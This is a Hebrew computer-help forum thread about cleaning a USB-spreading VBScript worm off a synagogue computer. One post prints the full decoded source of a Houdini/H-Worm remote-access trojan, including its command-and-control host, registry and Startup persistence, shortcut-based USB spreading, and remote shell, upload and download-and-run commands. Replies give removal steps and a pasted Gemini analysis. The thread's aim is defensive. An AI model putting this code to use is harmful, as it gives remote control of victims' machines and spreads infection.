דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
43 פוסטים 13 כותבים 472 צפיות 11 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר רנדומלי

    השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
    מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

    מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

    גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

    @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

    מתכנת חובבמ מנותק
    מתכנת חובבמ מנותק
    מתכנת חובב
    מדריכים
    כתב נערך לאחרונה על ידי
    #19

    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

    האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

    היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

    ר תגובה 1 תגובה אחרונה
    1
    • מתכנת חובבמ מתכנת חובב

      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

      היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

      ר מנותק
      ר מנותק
      רנדומלי
      כתב נערך לאחרונה על ידי
      #20

      @מתכנת-חובב
      השאלה היא אם הקוד הנוכחי אכן עושה זאת.
      כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

      @תלמידהון
      כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

      ת מתכנת חובבמ 2 תגובות תגובה אחרונה
      0
      • ר רנדומלי

        @מתכנת-חובב
        השאלה היא אם הקוד הנוכחי אכן עושה זאת.
        כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

        @תלמידהון
        כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

        ת מנותק
        ת מנותק
        תלמידהון
        כתב נערך לאחרונה על ידי
        #21

        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

        אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

        תגובה 1 תגובה אחרונה
        1
        • ר רנדומלי

          @מתכנת-חובב
          השאלה היא אם הקוד הנוכחי אכן עושה זאת.
          כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

          @תלמידהון
          כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

          מתכנת חובבמ מנותק
          מתכנת חובבמ מנותק
          מתכנת חובב
          מדריכים
          כתב נערך לאחרונה על ידי מתכנת חובב
          #22

          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          השאלה היא אם הקוד הנוכחי אכן עושה זאת.

          בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
          לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
          תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

          ר תגובה 1 תגובה אחרונה
          0
          • מתכנת חובבמ מתכנת חובב

            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            השאלה היא אם הקוד הנוכחי אכן עושה זאת.

            בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
            לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
            תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

            ר מנותק
            ר מנותק
            רנדומלי
            כתב נערך לאחרונה על ידי
            #23

            @מתכנת-חובב
            תהיה מוכן להסביר לי איך אני מכבה VBS?

            זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

            מתכנת חובבמ תגובה 1 תגובה אחרונה
            0
            • ר רנדומלי

              @מתכנת-חובב
              תהיה מוכן להסביר לי איך אני מכבה VBS?

              זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

              מתכנת חובבמ מנותק
              מתכנת חובבמ מנותק
              מתכנת חובב
              מדריכים
              כתב נערך לאחרונה על ידי
              #24

              @רנדומלי תריץ את זה כמנהל

              reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
              

              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

              תגובה 1 תגובה אחרונה
              2
              • ר רנדומלי

                בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                cmd /c hrxxryydxo.vbs && start explorer [file name]
                

                הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                

                בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                לאחר פיענוח הקידוד התקבל הקוד הבא:
                אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                e
                '<[ recoder : houdini (c) skype : houdini-fx ]>
                
                '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                
                host = "khattab.no-ip.biz"
                port = 5550
                installdir = "%temp%"
                lnkfile = true
                lnkfolder = true
                
                '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                
                dim shellobj 
                set shellobj = wscript.createobject("wscript.shell")
                dim filesystemobj
                set filesystemobj = createobject("scripting.filesystemobject")
                dim httpobj
                set httpobj = createobject("msxml2.xmlhttp")
                
                '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                
                installname = wscript.scriptname
                startup = shellobj.specialfolders ("startup") & "\"
                installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                spliter = "<" & "|" & ">"
                sleep = 5000 
                dim response
                dim cmd
                dim param
                info = ""
                usbspreading = ""
                startdate = ""
                dim oneonce
                
                '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                on error resume next
                
                instance
                while true
                
                install
                
                response = ""
                response = post ("is-ready","")
                cmd = split (response,spliter)
                select case cmd (0)
                case "excecute"
                      param = cmd (1)
                      execute param
                case "update"
                      param = cmd (1)
                      oneonce.close
                      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                      oneonce.write param
                      oneonce.close
                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                      wscript.quit 
                case "uninstall"
                      uninstall
                case "send"
                      download cmd (1),cmd (2)
                case "site-send"
                      sitedownloader cmd (1),cmd (2)
                case "recv"
                      param = cmd (1)
                      upload (param)
                case  "enum-driver"
                      post "is-enum-driver",enumdriver  
                case  "enum-faf"
                      param = cmd (1)
                      post "is-enum-faf",enumfaf (param)
                case  "enum-process"
                      post "is-enum-process",enumprocess   
                case  "cmd-shell"
                      param = cmd (1)
                      post "is-cmd-shell",cmdshell (param)  
                case  "delete"
                      param = cmd (1)
                      deletefaf (param) 
                case  "exit-process"
                      param = cmd (1)
                      exitprocess (param) 
                case  "sleep"
                      param = cmd (1)
                      sleep = eval (param)        
                end select
                
                wscript.sleep sleep
                
                wend
                
                sub install
                on error resume next
                dim lnkobj
                dim filename
                dim foldername
                dim fileicon
                dim foldericon
                
                upstart
                for each drive in filesystemobj.drives
                
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                    end if
                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                        if not lnkfile then exit for
                        if  instr (file.name,".") then
                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                file.attributes = 2+4
                                if  ucase (file.name) <> ucase (installname) then
                                    filename = split(file.name,".")
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                    if  instr (fileicon,",") = 0 then
                                        lnkobj.iconlocation = file.path
                                    else 
                                        lnkobj.iconlocation = fileicon
                                    end if
                                    lnkobj.save()
                                end if
                            end if
                        end if
                    next
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                        if not lnkfolder then exit for
                        folder.attributes = 2+4
                        foldername = folder.name
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                        if  instr (foldericon,",") = 0 then
                            lnkobj.iconlocation = folder.path
                        else 
                            lnkobj.iconlocation = foldericon
                        end if
                        lnkobj.save()
                    next
                end If
                end If
                end if
                next
                err.clear
                end sub
                
                sub uninstall
                on error resume next
                dim filename
                dim foldername
                
                shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                filesystemobj.deletefile startup & installname ,true
                filesystemobj.deletefile wscript.scriptfullname ,true
                
                for  each drive in filesystemobj.drives
                if  drive.isready = true then
                if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                         on error resume next
                         if  instr (file.name,".") then
                             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                 file.attributes = 0
                                 if  ucase (file.name) <> ucase (installname) then
                                     filename = split(file.name,".")
                                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                 else
                                     filesystemobj.deletefile (drive.path & "\" & file.name)
                                 end If
                             else
                                 filesystemobj.deletefile (file.path) 
                             end if
                         end if
                     next
                     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                         folder.attributes = 0
                     next
                end if
                end if
                end if
                next
                wscript.quit
                end sub
                
                function post (cmd ,param)
                
                post = param
                httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                httpobj.setrequestheader "user-agent:",information
                httpobj.send param
                post = httpobj.responsetext
                end function
                
                function information
                on error resume next
                if  inf = "" then
                    inf = hwid & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                
                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set os = root.execquery ("select * from win32_operatingsystem")
                    for each osinfo in os
                       inf = inf & osinfo.caption & spliter  
                       exit for
                    next
                    inf = inf & "plus" & spliter
                    inf = inf & security & spliter
                    inf = inf & usbspreading
                    information = inf  
                else
                    information = inf
                end if
                end function
                
                sub upstart ()
                on error resume Next
                
                shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                
                end sub
                
                function hwid
                on error resume next
                
                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set disks = root.execquery ("select * from win32_logicaldisk")
                for each disk in disks
                    if  disk.volumeserialnumber <> "" then
                        hwid = disk.volumeserialnumber
                        exit for
                    end if
                next
                end function
                
                function security 
                on error resume next
                
                security = ""
                
                set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                for each objitem in colitems
                    versionstr = split (objitem.version,".")
                next
                versionstr = split (colitems.version,".")
                osversion = versionstr (0) & "."
                for  x = 1 to ubound (versionstr)
                     osversion = osversion &  versionstr (i)
                next
                osversion = eval (osversion)
                if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                
                set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                
                for each objantivirus in colantivirus
                    security  = security  & objantivirus.displayname & " ."
                next
                if security  = "" then security  = "nan-av"
                end function
                
                function instance
                on error resume next
                
                usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                if usbspreading = "" then
                   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                      usbspreading = "true - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                   else
                      usbspreading = "false - " & date
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                
                   end if
                end If
                
                
                upstart
                set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                    wscript.quit 
                end If
                err.clear
                set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                if  err.number > 0 then wscript.quit
                end function
                
                sub sitedownloader (fileurl,filename)
                
                strlink = fileurl
                strsaveto = installdir & filename
                set objhttpdownload = createobject("msxml2.xmlhttp" )
                objhttpdownload.open "get", strlink, false
                objhttpdownload.send
                
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                 
                if objhttpdownload.status = 200 then
                   dim  objstreamdownload
                   set  objstreamdownload = createobject("adodb.stream")
                   with objstreamdownload
                        .type = 1 
                        .open
                        .write objhttpdownload.responsebody
                        .savetofile strsaveto
                        .close
                   end with
                   set objstreamdownload = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                sub download (fileurl,filedir)
                
                if filedir = "" then 
                   filedir = installdir
                end if
                
                strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                set objhttpdownload = createobject("msxml2.xmlhttp")
                objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                objhttpdownload.send ""
                     
                set objfsodownload = createobject ("scripting.filesystemobject")
                if  objfsodownload.fileexists (strsaveto) then
                    objfsodownload.deletefile (strsaveto)
                end if
                if  objhttpdownload.status = 200 then
                    dim  objstreamdownload
                    set  objstreamdownload = createobject("adodb.stream")
                    with objstreamdownload 
                         .type = 1 
                         .open
                         .write objhttpdownload.responsebody
                         .savetofile strsaveto
                         .close
                    end with
                    set objstreamdownload  = nothing
                end if
                if objfsodownload.fileexists(strsaveto) then
                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                end if 
                end sub
                
                function upload (fileurl)
                
                dim  httpobj,objstreamuploade,buffer
                set  objstreamuploade = createobject("adodb.stream")
                with objstreamuploade 
                     .type = 1 
                     .open
                     .loadfromfile fileurl
                     buffer = .read
                     .close
                end with
                set objstreamdownload = nothing
                set httpobj = createobject("msxml2.xmlhttp")
                httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                httpobj.send buffer
                end function
                
                function enumdriver ()
                
                for  each drive in filesystemobj.drives
                if   drive.isready = true then
                     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                end if
                next
                end Function
                
                function enumfaf (enumdir)
                
                enumfaf = enumdir & spliter
                for  each folder in filesystemobj.getfolder (enumdir).subfolders
                     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                next
                
                for  each file in filesystemobj.getfolder (enumdir).files
                     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                
                next
                end function
                
                function enumprocess ()
                
                on error resume next
                
                set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                set colitems = objwmiservice.execquery("select * from win32_process",,48)
                
                dim objitem
                for each objitem in colitems
                    enumprocess = enumprocess & objitem.name & "|"
                    enumprocess = enumprocess & objitem.processid & "|"
                    enumprocess = enumprocess & objitem.executablepath & spliter
                next
                end function
                
                sub exitprocess (pid)
                on error resume next
                
                shellobj.run "taskkill /F /T /PID " & pid,7,true
                end sub
                
                sub deletefaf (url)
                on error resume next
                
                filesystemobj.deletefile url
                filesystemobj.deletefolder url
                
                end sub
                
                function cmdshell (cmd)
                
                dim httpobj,oexec,readallfromany
                
                set oexec = shellobj.exec ("%comspec% /c " & cmd)
                if not oexec.stdout.atendofstream then
                   readallfromany = oexec.stdout.readall
                elseif not oexec.stderr.atendofstream then
                   readallfromany = oexec.stderr.readall
                else 
                   readallfromany = ""
                end if
                
                cmdshell = readallfromany
                end function
                
                א מנותק
                א מנותק
                אור אור אור
                כתב נערך לאחרונה על ידי אור אור אור
                #25

                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                  בראש הקוד מופיעים המשתנים host ו-port:

                Host: khattab.no-ipbiz

                Port: 5550
                הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                1. איסוף מידע (Reconnaissance)
                  הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                שם המחשב ושם המשתמש.

                מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                גרסת מערכת ההפעלה.

                בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                1. מנגנון הפצה (USB Spreading)
                  אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                1. יכולות שליטה מרחוק
                  הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                execute: הרצת קוד VBScript ישירות בזיכרון.

                send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                1. הישרדות במערכת (Persistence)
                  הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                [!CAUTION]
                שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                cfopuserC תגובה 1 תגובה אחרונה
                0
                • א מנותק
                  א מנותק
                  אור אור אור
                  כתב נערך לאחרונה על ידי אור אור אור
                  #26

                  וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                  צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                  הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                  הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                  1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                    הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                  תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                  תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                  רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                  בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                  1. שלבי הניקוי (בצע לפי הסדר)
                    כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                  א. עצירת התהליך
                  לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                  חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                  לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                  ב. מחיקה מהרישום (Registry)
                  לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                  נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                  חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                  בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                  ג. מחיקת הקבצים הפיזיים
                  פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                  הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                  1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                    אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                  חבר את הכונן הנגוע.

                  פתח את "שורת הפקודה" (CMD) כמנהל.

                  הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                  הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                  attrib -h -r -s /s /d .

                  כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                  עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                  כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                  האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                  כן

                  כן

                  ‫Gemini אמר
                  הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                  הוראות ביצוע:
                  העתק את הקוד למטה.

                  פתח את "פנקס רשימות" (Notepad).

                  הדבק את הקוד בתוכו.

                  שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

